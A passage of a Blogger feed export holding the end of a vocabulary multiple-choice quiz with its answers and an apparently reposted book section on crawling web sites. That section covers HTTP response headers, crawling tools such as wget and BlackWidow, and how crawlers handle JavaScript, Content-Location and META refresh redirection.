/&gt;&lt;/COLGROUP&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;&lt;br /&gt;&lt;br /&gt;          A4:&lt;br /&gt;&lt;br /&gt;        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;F&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphStrong"&gt;MULTIPLE CHOICE&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Circle the letter next to the answer that best completes the sentence.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;P&gt;&lt;TABLE BORDER="0" cellspacing="16" cellpadding="0"&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;1:&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;Because the speaker ________________ from his topic, the audience had difficulty following his logic.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;BLOCKQUOTE&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(a) delineated&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(b) digressed&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(c) revealed&lt;/P&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(d) dictated&lt;/P&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/BLOCKQUOTE&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;&lt;br /&gt;&lt;br /&gt;          A1:&lt;br /&gt;&lt;br /&gt;        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;b&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;2:&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;The ________________ child was smaller than his playmates, but was healthy and happy.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;BLOCKQUOTE&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(a) miniature&lt;/P&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(b) heavy&lt;/P&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(c) diminutive&lt;/P&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(d) puny&lt;/P&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/BLOCKQUOTE&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;&lt;br /&gt;&lt;br /&gt;          A2:&lt;br /&gt;&lt;br /&gt;        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;c&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;3:&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;The ________________ feature of the product is its ease of use.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;BLOCKQUOTE&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(a) urgent&lt;/P&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(b) eminent&lt;/P&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(c) salient&lt;/P&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;(d) imminent&lt;/P&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/BLOCKQUOTE&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;&lt;br /&gt;&lt;br /&gt;          A3:&lt;br /&gt;&lt;br /&gt;        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;c&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td valign="top" class="v2" align="right"&gt;&amp;nbsp;&lt;br /&gt;          &lt;br /&gt;&amp;nbsp;    &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-5585134662923287423?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/5585134662923287423/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-2-word-families.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/5585134662923287423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/5585134662923287423'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-2-word-families.html' title='Section 2: Word Families'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-4399980544084384617</id><published>2009-11-13T07:50:00.029-08:00</published><updated>2009-11-13T07:50:30.204-08:00</updated><title type='text'>Step 1: Crawling the Web Site</title><content type='html'>&lt;br /&gt;&lt;br /&gt;&lt;div class=Section1&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;span style='font-size:15.0pt;font-family:Arial'&gt;Step 1: Crawling the Web&lt;br /&gt;Site&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;Crawling a Web site begins with the first page and involves&lt;br /&gt;following every link found. For the mathematically inclined, &lt;span&lt;br /&gt;class=docemphasis1&gt;crawling&lt;/span&gt; a site is the same as performing a breadth first&lt;br /&gt;search on a connected directional graph. A &lt;span class=docemphasis1&gt;crawler&lt;/span&gt;&lt;br /&gt;is a program that automates this process. Think of it as a browser that can&lt;br /&gt;click on each link of the Web page by itself and traverse all the pages in the&lt;br /&gt;Web site. The crawler sends an HTTP &amp;quot;GET&amp;quot; request to a page, parses&lt;br /&gt;the HTML received, extracts all the hyperlinks from it, and recursively&lt;br /&gt;performs the same action on each link.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;Crawlers can be quite sophisticated. Instead of simply&lt;br /&gt;following links, they can also mirror an entire Web site on the local hard&lt;br /&gt;drive and extract other elements such as comments, client-side scripts, and&lt;br /&gt;HTML comments. We discussed some of these techniques in &lt;span&lt;br /&gt;style='color:#003399'&gt;Chapter 7&lt;/span&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;&lt;span style='font-size:13.0pt;font-family:Arial'&gt;Crawling&lt;br /&gt;a Site Manually&lt;/span&gt;&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;If a Web site doesn't contain many pages, you can follow the&lt;br /&gt;hyperlinks by simply using a browser to making a list of them. This technique&lt;br /&gt;is more accurate than using a crawler to gather links. One of the main&lt;br /&gt;drawbacks of automated crawling is that crawlers can't interpret client-side&lt;br /&gt;scripts, such as JavaScript, and the hyperlinks they contain.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;&lt;span style='font-size:13.0pt;font-family:Arial'&gt;A&lt;br /&gt;Closer Look at the HTTP Response Header&lt;/span&gt;&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;Each HTTP response has two parts�namely, the HTTP response&lt;br /&gt;header and data content. Usually, data content is presented in HTML, but it&lt;br /&gt;also can be a byte block representing a GIF image or another object. Crawlers&lt;br /&gt;rely heavily on HTTP response headers while crawling a site. Consider this HTTP&lt;br /&gt;response header:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;HTTP/1.1 200 OK&lt;/pre&gt;&lt;pre&gt;Server: Microsoft-IIS/5.0&lt;/pre&gt;&lt;pre&gt;Date: Sat, 16 Mar 2002 18:08:35 GMT&lt;/pre&gt;&lt;pre&gt;Connection: Keep-Alive&lt;/pre&gt;&lt;pre&gt;Content-Length: 496&lt;/pre&gt;&lt;pre&gt;Content-Type: text/html&lt;/pre&gt;&lt;pre&gt;Set-Cookie: ASPSESSIONIDQQGGGRHQ=DPHDNEMBEEHDNFMOPNPKIPHN; path=/&lt;/pre&gt;&lt;pre&gt;Cache-control: private&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;The first item to be inspected in the HTTP response header is the&lt;br /&gt;HTTP response code, which appears in the first line of the HTTP response&lt;br /&gt;header. In the preceding code snippet, the HTTP response code is&lt;br /&gt;&amp;quot;200,&amp;quot; which signifies that the HTTP request was processed properly&lt;br /&gt;and that the appropriate response was generated. If the response code indicates&lt;br /&gt;an error, the error occurred when requesting the resource. A &amp;quot;404&amp;quot;&lt;br /&gt;response code indicates that the resource doesn't exist. A &amp;quot;403&amp;quot;&lt;br /&gt;response code signifies that the resource is blocked from requests, but&lt;br /&gt;nonetheless is present. Other HTTP response codes indicate that the resource&lt;br /&gt;may have relocated or that some extra privileges are required to request that&lt;br /&gt;resource. A crawler has to pay attention to these response codes and determine&lt;br /&gt;whether to crawl farther.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;The next bit of important information returned in the HTTP&lt;br /&gt;response header, from a crawler's perspective, is the Content-Type field. It&lt;br /&gt;indicates the type of a resource represented by the data in the HTTP content&lt;br /&gt;that follows the HTTP response header. Again, the crawler has to pay attention&lt;br /&gt;to the Content-Type. A crawler attempting to extract links from a GIF file&lt;br /&gt;makes no sense, and crawlers usually pay attention only to&lt;br /&gt;&amp;quot;text/html&amp;quot; content.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;&lt;span style='font-size:13.0pt;font-family:Arial'&gt;Some&lt;br /&gt;Popular Tools for Site Linkage Analysis&lt;/span&gt;&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;Several commercial tools are available for use with crawling&lt;br /&gt;Web applications. We describe a few of the tools and discuss some of their key&lt;br /&gt;features in this section.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;&lt;span style='font-size:10.5pt;font-family:Arial'&gt;GNU&lt;br /&gt;&lt;span class=docemphasis1&gt;wget&lt;/span&gt;&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;GNU &lt;span class=docemphasis1&gt;wget&lt;/span&gt; is a simple&lt;br /&gt;command-line crawler and is available along with source code on &lt;span style='color:#003399'&gt;http://www.wget.org/&lt;/span&gt;.&lt;br /&gt;Although &lt;span class=docemphasis1&gt;wget&lt;/span&gt; was primarily intended for Unix&lt;br /&gt;platforms, a Windows binary is also available. Recall that we took a look at &lt;span&lt;br /&gt;class=docemphasis1&gt;wget&lt;/span&gt; in &lt;span&lt;br /&gt;style='color:#003399'&gt;Chapter 7&lt;/span&gt;, where we used it for mirroring a&lt;br /&gt;Web site locally and searching for patterns within the retrieved HTML data for&lt;br /&gt;source sifting. The advantages offered by &lt;span class=docemphasis1&gt;wget&lt;/span&gt;&lt;br /&gt;are that it is simple to use, a command-line tool, and available on both Unix&lt;br /&gt;and Windows platforms. It also is very easy to use in shell scripts or batch&lt;br /&gt;files to further automate linkage analysis tasks.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;Because &lt;span class=docemphasis1&gt;wget&lt;/span&gt; offers the&lt;br /&gt;ability to mirror Web site content, we can run several commands or scripts on&lt;br /&gt;the mirrored content for various types of analysis.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;&lt;span style='font-size:10.5pt;font-family:Arial'&gt;BlackWidow&lt;br /&gt;from SoftByteLabs&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;SoftByteLabs' BlackWidow is a very fast Web site crawler for&lt;br /&gt;the Windows platform. The crawling engine is multithreaded and retrieves Web pages&lt;br /&gt;in parallel. BlackWidow also performs some basic source sifting techniques such&lt;br /&gt;as those discussed in &lt;span&lt;br /&gt;style='color:#003399'&gt;Chapter 7&lt;/span&gt;. &lt;span&lt;br /&gt;style='color:#003399'&gt;Figure 8-2&lt;/span&gt; shows BlackWidow crawling &lt;span style='color:#003399'&gt;http://www.foundstone.com/&lt;/span&gt;.&lt;br /&gt;On its tabs, you can view the progress of the crawling, thread by thread.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 align=center style='text-align:center'&gt;&lt;span&lt;br /&gt;style='font-size:10.5pt;font-family:Arial'&gt;Figure 8-2. Blackwidow crawling one&lt;br /&gt;site with multiple threads&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext align=center style='text-align:center'&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;&lt;span&lt;br /&gt;style='color:#003399'&gt;Figure 8-3&lt;/span&gt; shows the site structure in a&lt;br /&gt;collapsible tree format. It helps us analyze how resources are grouped on the&lt;br /&gt;Web site. The BlackWidow GUI has other tabs that show e-mail addresses that are&lt;br /&gt;present on the pages, external links, and errors in retrieving links, if any.&lt;br /&gt;As with GNU &lt;span class=docemphasis1&gt;wget,&lt;/span&gt; BlackWidow also can be used&lt;br /&gt;to mirror a Web site where URLs occurring within hyperlinks are rewritten for&lt;br /&gt;accessibility from the local file system.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 align=center style='text-align:center'&gt;&lt;span&lt;br /&gt;style='font-size:10.5pt;font-family:Arial'&gt;Figure 8-3. Structure of&lt;br /&gt;http://www.acme.com/&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext align=center style='text-align:center'&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;&lt;span style='font-size:10.5pt;font-family:Arial'&gt;Funnel&lt;br /&gt;Web Profiler from Quest Software&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;Funnel Web Profiler from Quest Software can perform an&lt;br /&gt;exhaustive analysis of a Web site. Quest Software has a trial version of Funnel&lt;br /&gt;Web Profiler available for download from &lt;span style='color:#003399'&gt;http://www.quest.com&lt;/span&gt;. &lt;span&lt;br /&gt;style='color:#003399'&gt;Figure 8-4&lt;/span&gt; shows a Funnel Web Profiler in&lt;br /&gt;action running on &lt;span&lt;br /&gt;style='color:#003399'&gt;http://www.foundstone.com/&lt;/span&gt;. This tool has a&lt;br /&gt;nice graphical user interface, which provides information such as content&lt;br /&gt;grouping, a Web site map, cross-references, a crawled statistics list view, and&lt;br /&gt;a tree view, among other things.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 align=center style='text-align:center'&gt;&lt;span&lt;br /&gt;style='font-size:10.5pt;font-family:Arial'&gt;Figure 8-4. Funnel Web Profiler,&lt;br /&gt;showing scan statistics for &lt;span&lt;br /&gt;style='color:#003399'&gt;http://www.foundstone.com/&lt;/span&gt;&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext align=center style='text-align:center'&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;After the Web site scan is completed, Funnel Web Profiler&lt;br /&gt;aggregates the information gathered and presents various representations and&lt;br /&gt;statistics about the site information. For example, clicking on the Web Map tab&lt;br /&gt;shows a graphical layout of the Web site and the pages in it. &lt;span&lt;br /&gt;style='color:#003399'&gt;Figure 8-5&lt;/span&gt; shows the Web map of &lt;span style='color:#003399'&gt;http://www.foundstone.com/&lt;/span&gt;.&lt;br /&gt;Each Web resource is represented as a node, and the entire Web map shows how&lt;br /&gt;each node is linked with other nodes. The Web map presents a visual&lt;br /&gt;representation of the Web site and reveals the layout and linking of resources.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 align=center style='text-align:center'&gt;&lt;span&lt;br /&gt;style='font-size:10.5pt;font-family:Arial'&gt;Figure 8-5. Funnel Web Profiler's&lt;br /&gt;Web map for &lt;span&lt;br /&gt;style='color:#003399'&gt;http://www.foundstone.com/&lt;/span&gt;&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext align=center style='text-align:center'&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;The Web map contains a cluster of linked nodes, with each&lt;br /&gt;node's starting point identified. The top right corner gives a thumbnail&lt;br /&gt;representation of the full Web map. It also allows the user to zoom in for a&lt;br /&gt;more detailed view.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;If we click on the List tab, we get a tabular list of all the&lt;br /&gt;Web resources on &lt;span&lt;br /&gt;style='color:#003399'&gt;http://www.foundstone.com/&lt;/span&gt;, along with other&lt;br /&gt;information such as the type of resource, its size in bytes, and when it was&lt;br /&gt;modified. &lt;span&lt;br /&gt;style='color:#003399'&gt;Figure 8-6&lt;/span&gt; displays the list view of &lt;span style='color:#003399'&gt;http://www.foundstone.com/&lt;/span&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 align=center style='text-align:center'&gt;&lt;span&lt;br /&gt;style='font-size:10.5pt;font-family:Arial'&gt;Figure 8-6. List view of Web&lt;br /&gt;resources on &lt;span&lt;br /&gt;style='color:#003399'&gt;http://www.foundstone.com/&lt;/span&gt;&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext align=center style='text-align:center'&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;&lt;span style='font-size:13.0pt;font-family:Arial'&gt;Step-1&lt;br /&gt;Wrap-Up&lt;/span&gt;&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;Some other tools�which we haven't covered in detail but are&lt;br /&gt;worth mentioning�are Teleport Pro from Tennyson Maxwell (&lt;span style='color:#003399'&gt;http://www.tenmax.com/&lt;/span&gt;)&lt;br /&gt;and Sam Spade (&lt;span&lt;br /&gt;style='color:#003399'&gt;http://www.samspade.org/&lt;/span&gt;). Teleport Pro runs&lt;br /&gt;on the Windows platform and is primarily used for mirroring Web sites. Teleport&lt;br /&gt;Pro allows users to define individual projects for mirroring sites. Site&lt;br /&gt;mirroring is quite fast with Teleport Pro's multithreaded mirroring engine. Sam&lt;br /&gt;Spade is also a Windows-based tool that allows basic site crawling and&lt;br /&gt;source-sifting. We now have quite a lot of information for performing thorough&lt;br /&gt;analysis. Let's see what we can do with all this information.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;table class=MsoNormalTable border=1 cellspacing=0 cellpadding=0 width="90%"&lt;br /&gt; style='width:90.0%'&gt;&lt;br /&gt; &lt;tr&gt;&lt;br /&gt;  &lt;td style='padding:.75pt .75pt .75pt .75pt'&gt;&lt;br /&gt;  &lt;h2 align=center style='text-align:center'&gt;&lt;span&lt;br /&gt;  style='font-size:16.5pt;font-family:Arial'&gt;Crawlers and Redirection&lt;/span&gt;&lt;/h2&gt;&lt;br /&gt;  &lt;p class=doctext&gt;Automated Web crawlers sometimes get thrown off track when&lt;br /&gt;  they encounter unusual linking techniques and page redirection. A few&lt;br /&gt;  &amp;quot;smart&amp;quot; crawlers, however, can interpret these anomalies accurately&lt;br /&gt;  and provide good crawled results. For example, a crawler may get confused&lt;br /&gt;  when a redirection is encountered in a client-side script, because crawlers&lt;br /&gt;  don't usually interpret client-side scripts such as JavaScript or VBScript.&lt;/p&gt;&lt;br /&gt;  &lt;p class=doctext&gt;The following JavaScript code snippet has a redirection&lt;br /&gt;  directive, which gets interpreted and executed on the browser:&lt;/p&gt;&lt;br /&gt;  &lt;pre&gt;&amp;lt;SCRIPT LANGUAGE=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;/pre&gt;&lt;pre&gt;location.replace(&amp;quot;./index.php3&amp;quot;);&lt;/pre&gt;&lt;pre&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;  &lt;p class=doctext&gt;It instructs the browser to request index.php3. It will do&lt;br /&gt;  so only if the JavaScript execution is enabled within the browser. When a&lt;br /&gt;  crawler encounters this instruction, it won't be able to interpret and&lt;br /&gt;  execute the location.replace() statement and it will fail to crawl&lt;br /&gt;  index.php3.&lt;/p&gt;&lt;br /&gt;  &lt;p class=doctext&gt;However, if the redirection is performed by techniques such&lt;br /&gt;  as a Content-Location header response or an HTML &amp;lt;META&amp;gt; tag, the&lt;br /&gt;  crawler could look for them and crawl the pages accordingly.&lt;/p&gt;&lt;br /&gt;  &lt;p class=doctext&gt;The following two examples illustrate redirection with the&lt;br /&gt;  HTTP response header and the &amp;lt;META&amp;gt; tag, respectively.&lt;/p&gt;&lt;br /&gt;  &lt;/td&gt;&lt;br /&gt; &lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p style='margin:0cm;margin-bottom:.0001pt'&gt;&lt;span&lt;br /&gt;style='color:black;display:none'&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;table class=MsoNormalTable border=1 cellspacing=0 cellpadding=0 width="90%"&lt;br /&gt; style='width:90.0%'&gt;&lt;br /&gt; &lt;tr&gt;&lt;br /&gt;  &lt;td style='padding:.75pt .75pt .75pt .75pt'&gt;&lt;br /&gt;  &lt;h2 align=center style='text-align:center'&gt;&lt;span lang=EN-GB style='font-size:&lt;br /&gt;  16.5pt;font-family:Arial'&gt;Redirection by Content-Location&lt;/span&gt;&lt;/h2&gt;&lt;br /&gt;  &lt;p class=doctext&gt;&lt;span lang=EN-GB&gt;The code snippet for this procedure is:&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;  &lt;pre&gt;&lt;span lang=EN-GB&gt;HTTP/1.1 200 OK&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang=EN-GB&gt;Server: Microsoft-IIS/5.0&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span&lt;br /&gt;  lang=EN-GB&gt;Date: Wed, 27 Mar 2002 08:13:01 GMT&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span&lt;br /&gt;  lang=EN-GB&gt;Connection: Keep-Alive&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang=EN-GB&gt;Content-Location: http://www.example.com/example/index.asp&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span&lt;br /&gt;  lang=EN-GB&gt;Set-Cookie: ASPSESSIONIDQQGQGIWC=LNDJBOLAIFDAKJDBNDINOABF; path=/&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span&lt;br /&gt;  lang=EN-GB&gt;Cache-control: private&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;  &lt;p class=doctext&gt;&lt;span lang=EN-GB&gt;Here we sent a GET request to a server,&lt;br /&gt;  www.example.com, and requested the default Web resource on its root directory.&lt;br /&gt;  Examining the header of the HTTP response, we see that it has a special&lt;br /&gt;  field, Content-Location. This particular field forces the browser to request&lt;br /&gt;  the URL http://www.example.com/example/index.asp.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;  &lt;/td&gt;&lt;br /&gt; &lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p style='margin:0cm;margin-bottom:.0001pt'&gt;&lt;span&lt;br /&gt;style='color:black;display:none'&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;table class=MsoNormalTable border=1 cellspacing=0 cellpadding=0 width="90%"&lt;br /&gt; style='width:90.0%'&gt;&lt;br /&gt; &lt;tr&gt;&lt;br /&gt;  &lt;td style='padding:.75pt .75pt .75pt .75pt'&gt;&lt;br /&gt;  &lt;h2 align=center style='text-align:center'&gt;&lt;span lang=EN-GB style='font-size:&lt;br /&gt;  16.5pt;font-family:Arial'&gt;Redirection by HTTP-EQUIV&lt;/span&gt;&lt;/h2&gt;&lt;br /&gt;  &lt;p class=doctext&gt;&lt;span lang=EN-GB&gt;We can insert &amp;lt;META&amp;gt; tags of several&lt;br /&gt;  types in the HTML header section The most common use of &amp;lt;META&amp;gt; tags is&lt;br /&gt;  to list keywords associated with the HTML document. However, &amp;lt;META&amp;gt;&lt;br /&gt;  tags can also be used for redirection. Using the HTTP-EQUIV clause within a&lt;br /&gt;  &amp;lt;META&amp;gt; tag redirects the browser to a URL contained in it. The&lt;br /&gt;  following &amp;lt;META&amp;gt; tag instructs the browser to refresh to&lt;br /&gt;  http://www.yahoo.com/ after two seconds:&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;  &lt;pre&gt;&amp;lt;META HTTP-EQUIV=Refresh CONTENT=&amp;quot;2; url=http://www.yahoo.com/&amp;quot;&amp;gt;&lt;/pre&gt;&lt;br /&gt;  &lt;p class=doctext&gt;Smart crawlers implement methods to parse redirection&lt;br /&gt;  responses such as those shown in the preceding examples. However, some&lt;br /&gt;  crawlers such as GNU &lt;span class=docemphasis1&gt;wget&lt;/span&gt; are unable to&lt;br /&gt;  handle tags with HTTP redirection.&lt;/p&gt;&lt;br /&gt;  &lt;/td&gt;&lt;br /&gt; &lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=MsoNormal&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-4399980544084384617?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/4399980544084384617/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/step-1-crawling-web-site.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4399980544084384617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4399980544084384617'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/step-1-crawling-web-site.html' title='Step 1: Crawling the Web 